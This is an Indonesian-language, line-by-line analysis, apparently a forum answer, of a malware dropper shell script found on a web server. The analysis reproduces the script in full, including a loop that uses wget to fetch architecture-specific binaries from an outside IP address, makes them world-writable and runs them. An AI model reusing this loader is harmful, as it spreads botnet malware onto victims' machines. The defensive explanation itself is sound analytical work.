Baris demi baris:
#!/bin/sh
Menetapkan sh
shell, mana saja, sebagai garis shebang. sh%20/tmp/ks
dalam permintaan mengesampingkan ini, jadi baris ini diperlakukan sebagai komentar normal dan diabaikan.
u="asgknskjdgn"
Menyatakan nama sewenang-wenang, mungkin untuk menghindari bertabrakan dengan nama file lain. Saya tidak yakin mengapa mereka tidak hanya menggunakan mktemp
, tapi mungkin itu tidak tersedia di semua platform.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Menghitung beberapa arsitektur CPU yang umum.
http_server="80.211.173.159"
http_port=80
Server yang memiliki exploit.
cd /tmp/||cd /var/
Mencoba mengubah direktori ke tempat di mana server web Anda mungkin dapat membuat file. Saya yakin SELinux akan membantu dalam hal ini, dengan menerapkan aturan yang jauh lebih ketat tentang apa yang dapat dilakukan server web daripada yang dilakukan oleh sistem file sendiri.
for name in $bin_names
do
Untuk setiap arsitektur CPU…
rm -rf $u
Menghapus program eksploit yang dicoba sebelumnya. Tidak perlu karena baris berikutnya, jadi bisa diabaikan.
cp $SHELL $u
Menyalin eksekusi shell saat ini (/bin/sh
). Dapat diabaikan karena baris berikutnya.
chmod 777 $u
Membuat semua orang memiliki akses penuh ke file baru. Ini seharusnya setelah wget
perintah, yang merupakan tanda pemula skrip shell atau teknik penyesatan.
>$u
Mengosongkan file. Percuma karena baris berikutnya.
wget http://$http_server:$http_port/$name -O -> $u
Menimpa file dengan skrip eksploit untuk arsitektur ini. -O -> $u
bisa ditulis -O - > $u
(tanda hubung menunjukkan bahwa unduhan harus ditulis ke keluaran standar) yang setara dengan -O $u
.
./$u $name
Jalankan skrip eksploit dengan arsitektur sebagai argumen pertama.
done
Mengakhiri putaran.
Sepertinya ini adalah skrip upaya eksploitasi yang sepele, mencoba eksploitasi yang diketahui terhadap berbagai platform CPU. Saya tidak tahu mengapa ini menimpa $u
tiga kali, tetapi operasi tersebut bisa saja tetap dari iterasi skrip sebelumnya. Agaknya versi sebelumnya memiliki eksploit yang dikodekan dengan keras daripada disajikan secara dinamis - yang pertama lebih mudah tetapi hampir menjamin bahwa skrip akan menjadi kurang efektif dari waktu ke waktu karena bug ditambal.
wget
adalah garis berbahaya utama.
for name in $bin_names
bekerja melalui daftar platform dan untuk setiap platform membersihkan direktori sementara, menyalin shell, lalu membuatnya dapat diakses oleh semua orang.
Kemudian mengunduh file menggunakan wget
dan kemudian mengeksekusinya menggunakan program shell yang baru saja disalin.
Skrip ini pada dasarnya mencoba mengunduh serangkaian executable atau skrip untuk setiap platform yang dapat dilakukan dan menggosoknya ke sistem Anda dengan harapan dapat membahayakan sistem Anda lebih lanjut.